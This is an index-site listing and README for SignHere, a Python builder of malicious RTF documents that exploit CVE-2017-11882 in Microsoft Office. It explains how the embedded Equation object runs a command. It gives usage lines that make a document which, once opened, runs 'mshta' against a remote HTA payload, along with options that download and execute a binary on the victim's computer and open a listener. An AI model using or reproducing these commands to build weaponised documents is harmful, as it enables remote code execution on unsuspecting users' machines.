Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/Retr0-code/SignHere
SignHere is implementation of CVE-2017-11882. SignHere is builder of malicious rtf document and VBScript payloads.
https://github.com/Retr0-code/SignHere
automation build-tool builder cve cve-2017-11882 equation malicious microsoft office python3 rtf vulnerabilities
Last synced: about 1 month ago
JSON representation
SignHere is implementation of CVE-2017-11882. SignHere is builder of malicious rtf document and VBScript payloads.
- Host: GitHub
- URL: https://github.com/Retr0-code/SignHere
- Owner: Retr0-code
- License: agpl-3.0
- Created: 2021-01-25T12:44:03.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2021-01-26T16:29:27.000Z (over 3 years ago)
- Last Synced: 2024-06-06T23:39:34.981Z (3 months ago)
- Topics: automation, build-tool, builder, cve, cve-2017-11882, equation, malicious, microsoft, office, python3, rtf, vulnerabilities
- Language: Python
- Homepage:
- Size: 44.9 KB
- Stars: 5
- Watchers: 1
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - Retr0-code/SignHere - SignHere is implementation of CVE-2017-11882. SignHere is builder of malicious rtf document and VBScript payloads. (Python)
README
## SignHere
# Introduction
CVE-2017-11882 - The unique vulnerability identifier of Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 allows an attacker to run code in the context of the current user without properly handling objects in memory, the so-called "Microsoft Office Memory corruption vulnerability".
The implementation includes creating a program for building malicious rtf documents and payloads in VBScript
The principle of operation
--
It is rtf documents that are vulnerable for the reason that they can be "programmed" by knowing special commands-RTF Headers. Thus, a binary (executable) object is created in the body of the document, in fact, it is a Microsoft Equation formula with the code that contains the cmd command. Then you can generate the payload in VBScript and use the command " mshta link to the payload file” to execute the hta file.
# Attention!
Author and contributors are not responsible for any damage caused to you or by you.
## Installation
The program requires [Python 3](https://www.python.org) for executing.
--
Linux
--
You can use Termux, but execution of program requires root
```sh
git clone https://github.com/Retr0-code/SignHere/
cd SignHere/
chmod +x SignHere.py
./SignHere.py --help
```
Windows
--
First, you need to download the [archive](https://github.com/Retr0-code/SignHere/archive/main.zip). Then unpack it and open a PowerShell window in this folder and write:
```sh
.\SignHere.py --help
```
## Usage
```python
./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --powershell "start iexplore.exe https://github.com/Retr0-code/SignHere" --ip 192.168.1.74 --output generated.rtf
```
--cmd
Argument with Windows command that will be executed after opening document.
--powershell
Argument with powershell command that will be in VBScript payload.
--ip
Argument with ip address that will be used for web-server. (default: 127.0.0.1)
--output
Name and path of document.
```python
./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --temp exploit.exe --ip 192.168.1.74 --output generated.rtf
```
--temp
Argument that will use binary file as payload (binary file will start in RAM memory).
```python
./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --payload exploit.exe --ip 192.168.1.74 --listener-host 192.168.1.74 --output generated.rtf
```
--payload
Argument that will download file on computer of victim and execute it.
--listener-host
Argument for starting TCP listener on current ip (default: 127.0.0.1)